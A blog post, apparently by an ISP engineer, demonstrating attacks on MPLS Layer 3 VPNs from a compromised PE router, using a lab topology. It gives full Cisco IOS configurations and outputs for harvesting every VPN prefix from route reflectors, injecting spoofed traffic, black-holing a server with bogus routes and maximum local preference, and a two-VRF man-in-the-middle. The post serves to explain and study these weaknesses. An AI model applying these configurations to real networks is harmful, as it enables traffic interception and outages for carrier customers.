An Attack on Layer 3 VPNs
Layer 3 MPLS VPNs are exceptionally flexible. Various weird and wonderful topologies can be created by the masterful tweaking of route targets, while the use of BGP to carry routing information means that absolutely bespoke policies can be applied. BGP is also far more scalable than any other protocol and has the brilliant notion of route reflectors, meaning that adding another node into even a very large network requires configuration in just a few locations.
Unfortunately, flexibility and complexity are the enemies of security and that is certainly true here. Any moderately sized MPLS network will use BGP route reflectors and, every peer needs to be defined in the route reflector's configuration so not just anyone can connect up to them. Unfortunately, once you have a peering (i.e. if you hijack an existing PE anywhere in the network) then you really do have the keys to the city.
The diagram below shows the topology used in all the scenarios discussed in this post. Basically, PE1 connects to network A (192.168.1.0/24) and PE2 connects to network B (192.168.2.0/24). Off to the side, somewhere in the MPLS network, lives Evil-PE. Attached to Evil-PE is an evil host. If this is starting to sound like an episode of "Funnybones" just bear with it...
Finding Targets
Route reflectors know
every route for
every VPN in the network and are willing to tell
all their peers about
all of them. This, and the lack of RPF checks, means that injection and spoofing attacks are absolutely trivial in layer 3 VPNs. With a layer 2 pseudowire you have to somehow figure out or guess the labels required to inject dodgy traffic, but with a layer 3 VPN the route reflector will just give you the information... for every VPN prefix in the autonomous system!
Here's an example:
PE1#show ip bgp vpnv4 rd 100:100 192.168.2.0/24
BGP routing table entry for 100:100:192.168.2.0/24, version 4
Paths: (1 available, best #1, table customer)
Not advertised to any peer
Refresh Epoch 1
Local
2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)
Origin incomplete, metric 0, localpref 100, valid, internal, best
Extended Community: RT:100:100
Originator: 2.2.2.2, Cluster list: 100.100.100.100
mpls labels in/out nolabel/21
rx pathid: 0, tx pathid: 0x0
PE1#
Now normally with Cisco devices, only VPN routes that are imported into a VRF somewhere are kept in the table. This means that in order to see a VPN prefix, you have to have a VRF with an import route target matching the particular prefix. Here's output from the "Evil" PE which does not have any VRFs importing the same route:
Evil-PE#show ip bgp vpnv4 rd 100:100 192.168.2.0/24
% Network not in table
Evil-PE#
This is easily resolved by building a VRF that imports the prefix. But what if you don't know what route target to import? Fortunately, there's a bodge for this. As luck would have it, this conservative retention rule doesn't apply to route reflectors. We can use this to our advantage by simply setting up a bogus route reflector client on the box (it doesn't even need to come up):
Evil-PE#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Evil-PE(config)#router bgp 100
Evil-PE(config-router)#neighbor 9.9.9.9 remote-as 100
Evil-PE(config-router)#address-family vpnv4
Evil-PE(config-router-af)#neighbor 9.9.9.9 activate
Evil-PE(config-router-af)#neighbor 9.9.9.9 route-reflector-client
Evil-PE(config-router-af)#^Z
Evil-PE#
*Jan 29 22:59:49.047: %SYS-5-CONFIG_I: Configured from console by console
Evil#show ip bgp vpnv4 all
Not quite there yet, the change won't do anything until routes refresh so let's force that:
Evil-PE#clear ip bgp 100 soft in
Evil-PE#show ip bgp vpnv4 all
BGP table version is 3, local router ID is 3.3.3.3
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,
x best-external, a additional-path, c RIB-compressed,
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found
Network Next Hop Metric LocPrf Weight Path
Route Distinguisher: 100:100
*>i 192.168.1.0 1.1.1.1 0 100 0 ?
*>i 192.168.2.0 2.2.2.2 0 100 0 ?
Evil-PE#
Great! Now we can see every VPN prefix on the entire network. Obviously in a real MPLS network there would be a *lot* more prefixes!
Injecting Traffic (Really Simple)
To inject traffic towards any prefix we like all we have to do is build a VRF which imports the appropriate route target. Let's start by checking which route target we need:
Evil-PE#show ip bgp vpnv4 rd 100:100 192.168.2.0
BGP routing table entry for 100:100:192.168.2.0/24, version 6
Paths: (1 available, best #1, no table)
Not advertised to any peer
Refresh Epoch 9
Local
2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)
Origin incomplete, metric 0, localpref 100, valid, internal, best
Extended Community: RT:100:100
Originator: 2.2.2.2, Cluster list: 100.100.100.100
mpls labels in/out nolabel/21
rx pathid: 0, tx pathid: 0x0
Next we need to configure a VRF to import it:
Evil-PE#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Evil-PE(config)#ip vrf push
Evil-PE(config-vrf)#rd 543:210
Evil-PE(config-vrf)#route-target import 100:100
Evil-PE(config-vrf)#exit
Evil-PE(config)#interface fa1/1
Evil-PE(config-if)#ip vrf forwarding push
Evil-PE(config-if)#ip address 30.30.30.1 255.255.255.0
Evil-PE(config-if)#no shut
*Jan 29 23:14:14.619: %LINK-3-UPDOWN: Interface FastEthernet1/1, changed state to up
*Jan 29 23:14:15.619: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/1, changed state to up
Evil-PE(config-if)#^Z
Evil-PE#
Now a device attached to the Fa1/1 interface can inject traffic spoofed from any source towards any VPN prefix learned via the configured route target. It really is as simple as that. The even better news is that we can spoof any source address we like - reverse path checks, when enabled, are done on the ingress PE - which we control. From our evil host we can inject whatever traffic we like towards hosts on the customer VRF:
Denial of Service (Simple)
Clearly it's very simple to inject traffic towards a target. What about causing trouble by black-holing traffic? Also trivial! As I said previously, once you're peered up with the route reflectors, you're golden. You can inject whatever routes you like and everyone will hear about them.
Let's say that a mail server lives on LAN B with IP address 192.168.2.100 and we want to DoS it. Let's just advertise a more specific route (with the same route target) pointing to the bit bucket:
The config is pretty straightforward:
Evil-PE#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Evil-PE(config)#ip vrf pull
Evil-PE(config-vrf)#rd 876:543
Evil-PE(config-vrf)#route-target export 100:100
Evil-PE(config-vrf)#exit
Evil-PE(config-if)#ip route vrf pull 192.168.2.100 255.255.255.255 null0
Evil-PE(config)#router bgp 100
Evil-PE(config-router)#address-family ipv4 vrf pull
Evil-PE(config-router-af)#redistribute static
Evil-PE(config-router-af)#^Z
Evil-PE#
We can see that PE1 has bought this hook, line and sinker:
PE1#show ip route vrf customer
<snip>
192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
C 192.168.1.0/24 is directly connected, FastEthernet0/1
L 192.168.1.1/32 is directly connected, FastEthernet0/1
192.168.2.0/24 is variably subnetted, 2 subnets, 2 masks
B 192.168.2.0/24 [200/0] via 2.2.2.2, 00:51:13
B 192.168.2.100/32 [200/0] via 3.3.3.3, 00:02:20
PE1#
A wonderful (ab)use of the "most specific route wins" rule. As we can see, the mail server is no longer reachable from LAN A:
Before:
root@host-a:~# ping 192.168.2.100
PING 192.168.2.100 (192.168.2.100) 56(84) bytes of data.
64 bytes from 192.168.2.100: icmp_req=1 ttl=61 time=70.7 ms
64 bytes from 192.168.2.100: icmp_req=2 ttl=61 time=60.6 ms
64 bytes from 192.168.2.100: icmp_req=3 ttl=61 time=64.1 ms
^C
--- 192.168.2.100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 60.616/65.187/70.793/4.223 ms
After:
root@host-a:~# ping 192.168.2.100
PING 192.168.2.100 (192.168.2.100) 56(84) bytes of data.
^C
--- 192.168.2.100 ping statistics ---
7 packets transmitted, 0 received, 100% packet loss, time 6011ms
root@host-a:~#
Oh, dear!
Denial of Service (Almost as Simple)
What if the device we want to DoS is already known by a host route? Well, the good news is we can just make our dodgy route more desirable by smacking on an obscenely high local preference value. It also means we can advertise the full size prefix if we want to avoid arousing suspicion (or do more widespread damage):
Evil-PE#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Evil-PE(config)#no ip route vrf pull 192.168.2.100 255.255.255.255 null0
Evil-PE(config)#ip route vrf pull 192.168.2.0 255.255.255.0 null0
Evil-PE(config)#router bgp 100
Evil-PE(config-router)#address-family ipv4 vrf pull
Evil-PE(config-router-af)#redistribute static route-map SUPERDUPER
Evil-PE(config-router-af)#route-map SUPERDUPER permit 10
Evil-PE(config-route-map)#set local-preference 4294967295
Evil-PE(config-route-map)#^Z
Evil-PE#
Now we're advertising exactly the same network as the genuine PE2, but with a 4 billion local preference, which is the maximum available. Let's see what PE1 makes of this:
PE-1#show bgp vpnv4 unicast all 192.168.2.0/24
BGP routing table entry for 100:100:192.168.2.0/24, version 7
Paths: (2 available, best #1, table customer)
Not advertised to any peer
Refresh Epoch 1
Local, imported path from 876:543:192.168.2.0/24 (global)
3.3.3.3 (metric 3) from 100.100.100.100 (100.100.100.100)
Origin incomplete, metric 0, localpref 4294967295, valid, internal, best
Extended Community: RT:100:100
Originator: 3.3.3.3, Cluster list: 100.100.100.100
mpls labels in/out nolabel/22
rx pathid: 0, tx pathid: 0x0
Refresh Epoch 1
Local
2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)
Origin incomplete, metric 0, localpref 100, valid, internal
Extended Community: RT:100:100
Originator: 2.2.2.2, Cluster list: 100.100.100.100
mpls labels in/out nolabel/21
rx pathid: 0, tx pathid: 0
BGP routing table entry for 876:543:192.168.2.0/24, version 6
Paths: (1 available, best #1, no table)
Not advertised to any peer
Refresh Epoch 1
Local
3.3.3.3 (metric 3) from 100.100.100.100 (100.100.100.100)
Origin incomplete, metric 0, localpref 4294967295, valid, internal, best
Extended Community: RT:100:100
Originator: 3.3.3.3, Cluster list: 100.100.100.100
mpls labels in/out nolabel/22
rx pathid: 0, tx pathid: 0x0
PE-1#
PE1#show ip route vrf customer
<snip>
192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
C 192.168.1.0/24 is directly connected, FastEthernet0/1
L 192.168.1.1/32 is directly connected, FastEthernet0/1
B 192.168.2.0/24 [200/0] via 3.3.3.3, 00:00:35
PE1#
Well, unsurprisingly, PE1 has gone for the prefix with the 4 billion local preference over the one with the default 100 and the entire /24 network is now black-holed.
Further explanation: The "
show bgp vpnv4 unicast all 192.168.2.0/24" command returns three results. At first this seems a little strange but let's examine it.
- The blue result is the evil route, as we can see by the 876:543 route distinguisher and the 4 billion local preference.
- The orange result is the legitimate route from PE-2 with a route distinguisher of 100:100 and a default local preference of 100.
- The red result is a little confusing, it shows a route with an RD of 100:100, a local preference of 4 billion and a next hop of 3.3.3.3 (the evil PE).
But the evil PE is not injecting any routes with a 100:100 RD, so where is this coming from? The clue is in the "
imported path from 876:543:192.168.2.0/24" message - the route that was used was the one with an RD of 876:543, however when it is imported into the customer VRF (which is configured with an RD of 100:100) it inherits the VRF's RD on its way in.
Man in the Middle
OK, these nuisance tactics are all well and good, but can we actually insert ourselves into the flow of traffic? The simple answer is that it is perfectly possible and, actually, not all that difficult. We saw above how we could push traffic towards any destination in the network anonymously. We also saw how we could trump existing routes to pull traffic in. With some relatively minor tweaks, combining these two techniques allows us to "man in the middle" valid traffic flows.
The technique I present here uses two VRFs: "pull" and "push". The idea is to pull the traffic out of the network to a place where we can tamper with it, then push the modified traffic back in as if it were legitimate, as in the diagram below:
The "pull" VRF
The "pull" VRF is used to draw in the traffic we want to man-in-the-middle. We do this in basically the same way as the black-holing trick above, i.e. either by advertising a more specific prefix or by advertising the same prefix but with a very high local preference. There are some nuances that must be carefully observed, though, so let's examine this step by step:
Firstly, create the VRF. Be sure to use a unique route distinguisher value not in use anywhere else and set the export route target to match the route being mimicked:
Evil-PE#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Evil-PE(config)#ip vrf pull
Evil-PE(config-vrf)#rd 876:543
Evil-PE(config-vrf)#route-target export 100:100
Evil-PE(config-vrf)#exit
Evil-PE(config)#
Next, we need to create an interface within the pull VRF to "off-ramp" the traffic we have intercepted:
Evil-PE(config)#interface fa1/0
Evil-PE(config-if)#ip vrf forwarding pull
Evil-PE(config-if)#ip address 101.101.101.1 255.255.255.252
Evil-PE(config-if)#no shut
*Jan 29 23:35:26.814: %LINK-3-UPDOWN: Interface FastEthernet1/0, changed state to up
*Jan 29 23:35:27.814: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0, changed state to up
Evil-PE(config-if)#
Now we have some routing to do. We need a static route for each prefix we want to off-ramp (don't forget, you need the source and destination networks off-ramped to MitM), plus a routing policy to ensure a maximum local preference is used when advertising the prefixes:
Evil-PE(config-if)#ip route vrf pull 192.168.1.100 255.255.255.255 101.101.101.2
Evil-PE(config-if)#ip route vrf pull 192.168.2.100 255.255.255.255 101.101.101.2
Evil-PE(config)#route-map PULL permit 10
Evil-PE(config-route-map)#set local-preference 4294967295
Evil-PE(config-route-map)#set community 987:654
Evil-PE(config-route-map)#router bgp 100
Evil-PE(config-router)#address-family ipv4 vrf pull
Evil-PE(config-router-af)#redistribute static route-map PULL
Evil-PE(config-router-af)#^Z
Evil#
Note that we also apply a community value in our route-map. This should be a community not found elsewhere in the network, though its actual value is not important. It is simply used as a marker on any bogus routes we create which will later use to stop us believing our own lies. As it's a standard community and IOS by default only sends extended communities for VPNV4 routes, it probably won't even leave the local device but that's not important as we only need to understand it locally.
Also note: you have to generate routes to off-ramp both sides of the conversation, otherwise you'll just break stuff.
The "push" VRF
The "push" VRF is used to "on-ramp" our tampered traffic back into the network. As with the traffic injection case we more-or-less just need to create a VRF which exports nothing and imports the route targets of the networks we're messing with - the only difference here being that we filter any prefixes that carry the "bogus route" community defined in the "pull" VRF.
So create the VRF:
Evil-PE(config)#ip vrf push
Evil-PE(config-vrf)#rd 543:210
Evil-PE(config-vrf)#route-target import 100:100
Evil-PE(config-vrf)#import-map PUSH
Evil-PE(config-vrf)#exit
Now create the route-map to filter out any junk routes that we generate, while passing everything else:
Evil-PE(config)#ip community-list standard BOGUS permit 987:654
Evil-PE(config)#route-map PUSH deny 10
Evil-PE(config-route-map)#match community BOGUS
Evil-PE(config-route-map)#route-map PUSH permit 20
Next we need the on-ramp interface (in this example out MitM station will be bridging at layer 2 so it lives in the same network as the "pull" VRF interface. If your MitM station is routing, adjust accordingly):
Evil-PE(config)#interface fa1/1
Evil-PE(config-if)#ip vrf forwarding push
Evil-PE(config-if)#ip address 101.101.101.2 255.255.255.252
Evil-PE(config-if)#no shut
*Jan 29 23:38:01.109: %LINK-3-UPDOWN: Interface FastEthernet1/1, changed state to up
*Jan 29 23:38:02.109: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/1, changed state to up
Evil-PE(config-if)#^Z
Evil-PE#
That's the "push" VRF complete. Pretty straightforward.
Man-in-the-Middle Some Stuff
As soon as you do this, you should start seeing traffic being off-ramped into your evil box. Assuming routes are in place on there and IP forwarding is enabled, you should then see the traffic being on-ramped back into the MPLS network and forwarded to its real destination.
I could think of no better demonstration for this than Pete Stevens'
Upside down ternet. It's such a brilliant idea which illustrates the point well but you can imagine some way more sinister stuff can be done with less light-hearted tools.
Sidetrack: I work in an ISP and once came across an Internet feed which was supposed to be ceased but the circuit was still live. Our customer had moved away but the new tenants were stealing service through their old connection. I really wanted to turn their Internet upside down but I was told just to cut them off instead. Spoil sports. I digress...
OK, so down to it. Let's imagine that host B is actually a proxy server, which host A uses to access the Internet. We set up as above, off-ramping traffic for both networks so that we can man-in the middle the traffic. With a bit of iptables / squid jiggery-pokery on the evil box, we can intercept the web traffic while passing everything else through cleanly.
As we can see, SSH works fine but there's something not quite right with Host A's Internet today...
References
Upside-down-ternet
Prank-O-Matic (elaboration of the upside-down-ternet)
